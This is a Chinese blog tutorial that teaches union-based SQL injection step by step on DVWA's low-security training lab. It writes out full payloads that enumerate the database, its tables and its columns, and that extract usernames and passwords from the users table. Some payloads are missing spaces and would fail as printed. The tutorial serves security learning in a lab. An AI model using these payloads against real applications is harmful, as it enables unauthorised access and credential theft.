一、前言
最近正在学习SQL注入,纵观各种教程,有稍微讲解一下直接po步骤的,有对原理讲的很仔细的但步骤不明确的,因此便想做一个教程,将每一步写清楚,将思路理顺,让SQL注入入门不再困难,建议在阅读本文之前阅读本人的《SQL注入入门》系列文章,里面有一些原理性的讲解,对理解本文有帮助
因为主要做的是思路讲解,因此这里采用DVWA的low级别的SQL Injection来做演示,在尝试进行其他的SQL注入的过程中,并不会太顺利,一定会有一些让你停下来细细思考的点,不断寻找突破口,最终达到目的,享受在这个过程中的头脑风暴吧!
二、正文
Step1正常输入
Step2判断是否存在SQL注入漏洞
一般来说我们先进行单引号测试
服务器返回错误,显然并未对单引号作过滤的处理,判断存在SQL注入漏洞
Step3判断注入的类型
判断注入为数字型还是字符型,一般来说我们考虑这种分类方式
尝试数字型:输入2-1进行测试
显然,如果是数字型注入,这里显现的结果应该等同于ID=1的情况,据此判断不是数字型,保守起见,我们继续判断是否为字符型注入
(此处数据库为MySQL数据库)
尝试字符型:输入1' or'1'='2
如果是字符型,显然会输入ID=1的结果
结论:存在字符型注入
Step3猜解查询字段的个数
我们需要猜测在这里存在的查询语句的形式,以便我们的下一步操作
首先我们猜
1' union select 1;-- (这里最后有一个空格),也可以用1' union select 1;#
结果如上,因此继续尝试
1' unionselect 1,2;#
因此我们可以知道该查询语句中有两个字段
于是我们猜测的SELECT语句是这样的:
SELECT First name,Surname
FROM表
WHEREid='$_GET(xxxx)';
Step4尝试通过SQL注入查询出用户名与密码等敏感信息
1)获取当前数据库名
1' unionselect 1,database()#
因为前面我们知道,select语句有两个字段,因此需要填写两个,1和database(),后者是我们想要的
可以发现,数据库名为dvwa
2)获取数据库表名
1'union select 1,table_name frominformation_schema.tables where table_schema=database()#
这里解释一下该语句的意思
table_name,table_shema都是MySQL的"conditioninformation item name",简单而又不恰当的理解就是系统定义的变量,table_name表示表名,table_schema表示数据库名称
关于information_schema的用法可以看我的另一个文章,《MySQL数据库元数据简要说明》
传送门:http://blog.csdn.net/qq_35544379/article/details/77161490
我们可以看到,数据库表名有guestbook和users两个
为了方便展示,我们可以采用sql提供给我们的字符串连接函数
GROUP_CONCAT()函数,它返回一个字符串结果,该结果由分组中的值连接组合而成。
在我另一个文章里也有详细说明http://blog.csdn.net/qq_35544379/article/details/77099115
例如上面我们可以写成
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
这样一来,我们想要的数据便在一行中展示出来了。
3)获取表中的列名
在上面,我们知道了该数据库中存在两个表guestbook,users
显然我们想要的用户名和密码应该会在users中,因此接下来我们想知道,在这个表中,存在哪些列?
我们可以这样
1' unionselect 1,group_concat(column_name) from information_schema.columns wheretable_name='users'#
结果我们发现了我们想要的梦寐以求的user,password列
4)获取password信息
好了,只差临门一脚了。
经过上面两次的训练,我们很简单可以写出下面的语句,由于可能结果很多,我们就不使用group_concat()这个函数了,转而使用concat(),两者的区别是前者返回一条字符串结果(n个结果结合一起的字符串),后者将每一条结果分开
1' unionselect 1,concat(user_id,',',user,',',password) from users#
成功获得我们想要的用户名和密码!!!!